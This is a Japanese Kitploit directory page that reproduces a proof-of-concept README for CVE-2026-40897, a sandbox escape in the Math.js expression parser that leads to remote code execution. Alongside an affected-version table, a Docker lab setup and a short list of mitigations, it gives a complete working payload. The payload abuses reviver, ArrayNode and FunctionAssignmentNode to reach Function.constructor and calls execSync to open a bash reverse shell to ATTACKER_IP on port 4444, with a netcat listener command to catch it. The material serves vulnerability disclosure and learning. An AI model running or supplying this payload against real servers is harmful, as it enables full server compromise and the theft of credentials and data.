Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40897 — Math.js 式パーサー RCE | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2026-40897
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育リモートアクセスツールペイロード開発
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js 式パーサー RCE

リポジトリを見る
22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-40897 Math.js 式パーサーにおけるリモートコード実行

★ CVE-2026-40897 Math.js PoC リモートコード実行 ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


概要

CVE-2026-40897 は、Math.js の式パーサーにおけるリモートコード実行につながるサンドボックス回避の脆弱性です。 isSafeProperty フィルターは、ユーザー式からのプロパティアクセスのみをチェックし、内部コードパスからのアクセスはチェックしません。toJSON() を介して ArrayNode の内部配列を漏えいさせ、その .map を上書きすることで、攻撃者は内部コードに Function.constructor へアクセスさせ、任意の JavaScript を実行させることができます。


影響を受けるバージョン

カテゴリバージョン
影響を受けるMath.js 13.1.1 ≤ バージョン ≤ 15.1.1
修正済み15.2.0

影響

  • 任意の JavaScript コード実行(RCE)
  • ホストファイルシステムへのアクセス
  • サーバー完全侵害につながるリバースシェル接続
  • バックエンドの認証情報や機密データの窃取

環境

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

脆弱な環境を起動したら、以下の手順に従って攻撃を再現してください。

ステップ1. リバースシェルリスナーを起動する

root@kitploit:~
nc -lvnp 4444

ステップ2. 悪意のあるペイロードを送信する

以下の式を math.evaluate に送信します(例: アプリケーションの計算入力経由)。

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

ステップ3. 攻撃者側でシェルアクセスを確認する

ターゲットサーバーが攻撃者のリスナーに接続し、インタラクティブな bash シェルが得られます。


緩和策

  • Math.js をパッチ適用済みバージョンにアップグレードする
  • 信頼できないユーザー入力を math.evaluate() に直接渡さない
  • 式パーサーを介した内部関数・クラス(reviver、FunctionAssignmentNode、ArrayNode)の露出を制限する

分析

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
ツールをダウンロード